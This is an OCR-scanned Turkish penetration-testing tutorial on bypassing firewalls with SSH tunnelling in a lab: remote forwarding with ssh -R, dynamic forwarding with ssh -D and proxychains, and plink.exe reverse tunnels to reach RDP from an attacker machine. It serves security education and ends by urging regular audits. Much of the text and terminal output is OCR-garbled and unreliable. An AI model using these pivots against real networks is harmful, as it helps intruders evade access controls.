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Tunelleme Teknikleri lle Firewall Atlatmak
1. GIRiS

Bu dokiiman, sizma testleri esnasinda sizma testi uzmanlarinca kullaniimakta olan ssh ti-
nelleme teknikleri ile glivenlik duvarlarinin nasil atlatildiginin uygulamali icerigini icermekte-

dir.
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2. Secure Shell (SSH)

Kullanicilarin cihazlar uzaktan yonetmesine olanak taniyan ve gonderilen isteklerin sifrelenerek
korundugu bir uzaktan yonetim servisi.

Genelanlamda Linux dagitimlariigin tasarlanmis olmakla beraber, ekstra birkag kurulum ile Micro-
soft sistemler Gzerinde de kullanilabilmektedir.

3. Tunelleme

Sizmatestiislemlerinde kimizaman baziuygulamalarin yalnizca yerel sunucu tGzerinden ve/veya
belirliIP adreslerinden gelenistekleri kabul ettigini durumlarla karsilagsmaktayiz. Butarz senaryo-
larda guvenlik duvarlarini atlatip hedef servislere ulasmak igin tiinelleme teknikleriaraciligiile is-
teklerimizi SSH servisi tizerinden gegirip hedef servislere erisimi saglayabiliyoruz.

Tanimindan daanlasilacagi Uzereilgiliteknikleri kullanmak icin hali hazirda hedef sistem Gzerine
ve/veya hedef sistemin servislerine baglanma yetkisi olan diger bir cihaz Gzerine erisimimizin ol-
masi gerekiyor.

4. Senaryolar

Bu makale suresi boyunca igslenecek senaryolar geregi asagida ki belirtilen yapilandirma olusturulmustur:

e Saldirgan 192.168.227.207
e Hedef1: isletim sistemi Ubuntu, erigsim saglanacak port 80(http) ve IP adresi 192.168.227.155
e Hedef2:igletim sistemi Windows Server 2012, erisim sadlanacak port 3389(rdp) ve IP adresi 192.168.227.165
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5. Ubuntu Uzerinde Tunelleme ile Firewall Atlatmak

Hedef bir Ubuntu sistem Gzerine herhangi bir yol (kaba kuvvet, somurimvb.) ile baglanti sagladigi-
mizi varsayalim.

Sistem Uzerinde dinlenilen portlari kontrol ettigimizde:

hyaloidéubuntu: $ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address

tcp 0 0 0.0.0.0:22 0.0.0.0:%*
tep 0 192.168.227.155:22 192.168.227.207:40166

0 .
tcpé 0 Ehh
0

tcpb 0 :::22 .

80 numarali http portunun dinlendigini gériiyoruz. Fakat saldirgan cihazimiz Gzerinden hedef siste-
min 80 numarali portuna baglanti saglamaya calistigimizda baglantinin gergceklesmediginifark edi-
yoruz.

a Terminal - root@hacker: ~

Fle Edit Vview Terminal Tabs Help
root@hacker:-# telnet 192.168.227.155 80
Trying 192.168.227.155...

Budurumun sebebiilgili servisin bir giivenlik duvari ve/veyakonfiglirasyon ayari geregince yalnizca
ozellikle belirtilen cihazlardan ve yerel cihazindan 80 numarali portuna gelen istekleri kabul etme-
sidir.

Arkada gergeklesen olayi kaba taslak tasvir etmek gerekirse buna benzer bir gorunti olusacaktir:

Saldirgan Hedef

192.168.227.207 D 192.168.227.155
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5.1 SSHRemote Port Forwading

Yukarida belirtilen gtivenlik yapilandirmasini atlatip hedef sistemin 80 numarali portu tUzerine sal-
dirgan cihazimiz tzerinden erigsim saglayabilmek igin izleyebilecedimiz yollardan birisi SSH Remote
Port Forwarding olarak kargimiza gikmaktadir.

Buislemsonucunda, hedefcihaz Gizerinden kendicihazimiza bir SSH baglantisikuracak ve bubag-
lanti Gzerinden kendi cihazimiz Gzerinde belirleyecegimiz bir PORT numarasina gelen istekleri SSH
servisiaraciligiile tinelleyerek hedef cihazin 80 numarali portuna erisim saglayacagiz.

Tiinelleme isleminde once erisim:

a Terminal - root@hacker: ~

Fle Edit Vview Terminal Tabs Help
root@hacker:-# telnet 192.168.227.155 80
Trying 192.168.227.155...

Hedef cihazdan saldirgan cihaza tiinelleme yapilmasi:

a Terminal - root@hacker: ~
Fle Edit View Terminal Tabs Help

hyaloid@ubuntu:~$ ssh -R 81:192.168.227.155:80 root@192.168.227.207
root@l92.168.227.207's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 25 18:06:14 2019 from 192.168.227.155

Tiinelleme islemi icin kullanilan komut ve agiklamasi:

SSH -R81:192.168.227.155:80 root@192.168.227.207

-R: SSH uygulamasinin uzak port yonlendirme parametresi.

81: Saldirgan cihazimiz Gzerinde kullanilacak port
192.168.227.155: Hedef IP

80: 81 numarali porta gelen isteklerin tinellenerek iletilecegi port.
192.168.227.207: Saldirgan cihaz IP adresi

Yukaridakullanilankomutsonucunda, Saldirgan cihazimizin81 numarali portunagelenistekler SSH
servisi araciligi ile hedef sistemin 80 numarali portuna iletilecek.


mailto:root@192.168.227.207
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Saldirgan

192.168.227.207 192.168.227.155

Tiinelleme islemi sonucu saldirgan cihaz lizerinde dinlenilmeye baslanan port:

a Terminal - root@hacker: ~

File Edit View Terminal Tabs Help

root@hacker:-# netstat -ant

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address
0 0.0.0.0:22 ;¥
0 127.0.0.1:5432 *
0 0.0.0.0:445 .0.0.0:%*
0 127.0.0.1:9090 .0.0.0:%*
0 127.0.0.1:3306 ;¥
0 0.0.0.0:139 *

%

0 9.9:0:0:81

Tiinelleme islemi ardindan hedef cihazin http portuna erisim:

L=l Mozilla Firefox

127.0.0.1:81/ x |+

~ ¢ @ 127.0.0.1:81
4+ Most Visited [l Offensive Security e Kali Linux e Kali Docs
Im host 192.168.227.155
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52 Dinamik SSH Port Yonlendirme

Port yonlendirme islemleri tek bir portigin yapmak miimkiin oldugu gibi tinelleme islemini bir servis gibi kullanip gén-
derdigimiz heristegi SSH lizerinden yonlendirmemizde mumkiin. Buiglemigin proxychains adi verilen bir uygulama-
dan yararlanacagiz.

Birdncekisenaryodahedefsistem lizerindenkendisistemimiz Gizerine bir SSHbaglantisi saglamistik, simdikisenaryoda
ise hedef sistem Uizerinde gecerli bir kullaniciyi elde ettigimizi varsayacagiz.

Dinamik port yonlendirilmenin baslatiimas:

a Terminal - hyaloid@ubuntu: ~

Fle Edit View Terminal Tabs Help

root@hacker:~# ssh -D 1337 hyaloid@l92.168.227.155
hyaloid@192.168.227.155"'s password:

Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-131-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

Last login: Thu Apr 25 15:11:34 2019 from 192.168.227.207
hyaloid@ubuntu:~$

Dinamik port yonlendirme islemi icin kullanilan komut ve aciklamasi:
-D: SSH uygulamasinin dinamik port yonlendirme parametresi

1337: Yonlendiriimek Uzere_saldirgan cihaz Uzerinde dinlenmeye baslanilan port.

Hyaloid: Hedef sistem Uzerinde bulunan gecerli kullanici

192.168.227.155: Hedef sistem IP adresi

Yukarida kullanilan komut sonucunda artik yerel cihazimiz tzerinde bulunan 1337 numarali portu
biraraci(Proxy)olarakkullanabilirve araci izerindengonderdigimizistekleriSSH servisiaraciligiile
hedef sistem Uzerindentunelleyebiliriz.
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Kullanilan SSH komutu sonucu yerel cihazda dinlenilmeye baslanan port:

a Terminal - root@hacker: ~

Fle Edit View Terminal Tabs Help

root@hacker:-# netstat -ant

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address
0.0.0.0:22 .0.0.0:%*

127.0.0.1:5432 *
127.0.0.1:1337 0.0.0:*
0.0.0.0:445 0.0.0:*
127.0.0.1:3306 . K
0.0.0.0:139 0.0.0:*
127.0.0.1:1337 .0.0.1:36176
192.168.227.207:40166 . .227.155:22
11122 sr oK

::1:5432

::1:1337

111445

111139

[cNoNooNoNoNoNoNolNololNolNol
[cN oo ool ool ol o RN o R o R o R ol

root@hacker:-#

llgiliportunaraci(Proxy)olarak kullaniimasiigin Proxychains uygulamasindanfaydalanacagiz. Bu
islemicin/etc/dizinialtindabulunanproxychains.conf dosyaninenaltindabulunan ProxyListkis-
mina ilgili eklemeleri yapmamiz yeterli olacaktir.

[ProxylList]
# add proxy here ...
# meanwile

# defaults set to "tor"
socks4 127.0.0.1 1337

Buislemintamamlasinin ardindan artik kullanacagimiz her komutun basina proxychains komutunu
ekleyerek isteklerimizi hedef sunucu tzerinden tinelleyebiliriz.

Proxychains: http://proxychains.sourceforge.net/


http://proxychains.sourceforge.net/
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Dinamik tiinelleme ve proxychains kullanarak hedefin 80 numarali portuna baglanti:

a Terminal - root@hacker: ~

File Edit View Terminal Tabs Help

root@hacker:-# proxychains telnet 192.168.227.155 80
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-response|: hacker does not exist

Trying 192.168.227.155...
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.227.155:80-<><>-0K
Connected to 192.168.227.155.

Escape character is '"]".

~1

HTTP/1.1 400 Bad Request

Date: Thu, 25 Apr 2019 22:16:39 GMT

Server: Apache/2.4.18 (Ubuntu)

Content-Length: 301

Connection: close

Content-Type: text/html; charset=1is0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<hl>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.q

LI Anache/2.4.18 (Ubuntu) Serve rJEiSim by eI i o To i1 S Te [o o144

</body></html>
Connection closed by foreign host.
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6. Windows Uzerinde Tiinelleme ile Firewall Atlatmak

Busenaryodahilinde erisimsagladigimizbir Windows Serverin Rdesktop servisinetinelleme yapa-
rakerisecegiz. Windows sistemler tizerinde SSHuygulamasina peksikrastlaniimamasindan 6turd
buiglemicin plink.exe uygulamasini hedef sisteme ytklememiz gerekiyor.

Tiinelleme islemi oncesi Rdesktop servis baglanimi:

a Terminal - root@hacke
File Edit View Terminal Tabs Help

root@hacker:~# telnet 192.168.227.165 3389

Trying 192.168.227.165...

Plink.exe kullanarak ssh uzak port yonlendirme yapimi:

[EANVEL-TEAV G SR Tt R T p Link . exe -1 root -pw -R 3389:192.168.227.165:3389 192.168.227.207
plink.exe -1 root -pw offsec -R 3389:192.168.227.165:3389 192.168.227.207
The server's host key is not cached in the registry. You

have no guarantee that the server is the computer you

think it is.

The server's rsa2 key fingerprint is:

ssh-rsa 2048 d5:ed:46:15:84:cd:99:c8:f9:55:4e:5a:69:ec:3f:8d

If you trust this host, enter "y" to add the key to

PuTTY's cache and carry on connecting.

If you want to carry on connecting just once, without

adding the key to the cache, enter "n".

If you do not trust this host, press Return to abandon the

connection.

Store key in cache? (y/n) y

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kullanilan komut ve a¢iklamasi:

plink.exe -l root -pw ******* _R 3389:192.168.227.165:3389 192.168.227.207
-I: Saldirgan cihazin ssh kullanicisi

-pw: Saldirgan cihazda bulunan kullanicinin parolasi

-R: Uzak port yonlendirme parametresi

192.168.227.165: Hedef sistemin IP adresi

192.168.227.207: Saldirgan cihazin IP adresi

Yukarida ¢alistirilan komut sonucu saldirgan cihazimizin 3389 numarali portu dinlemeye alindive
ilgili porta gelen istekler SSH tineli aracihgi ile hedef sistemin rdesktop portuna ulagsmaya basladi.

Plink.exe: https://www.ssh.com/ssh/putty/putty-manuals/0.68/Chapter7.html
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Tiinelleme sonucu local cihaz lizerinden hedefin rdesktop portuna baglanim:

root@hacker:-# telnet 127.0.0.1 3389
Trying 127.0.0.1...

Connected to 127.0.0.1.
Escape character is '7]".

7. SONUC

Firewall kullanimlari her ne kadar saldiri etkinliklerini azaltiyor olsada gliniimiiz sistemlerinin korunmasinda tam anla-
miyla bir dnlem niteligitagsimamaktadir.

Yukaridabelirtilen teknikler ve tiirevleri kullanilarak gerek biz sizmatesti uzmanlari gereksede saldirganlarca bir gok
saldiri gergeklestiriimektedir.

Bu bilgiler isiginda, sistemlerin korunumunda dogrudan firewall uygulamalarina givenmek yerine firewall uygulamala-
rina ek olarak olasi gelebilecek saldirilara karsi sistemler diizenli olarak uzmanlarca denetlenmelidir.
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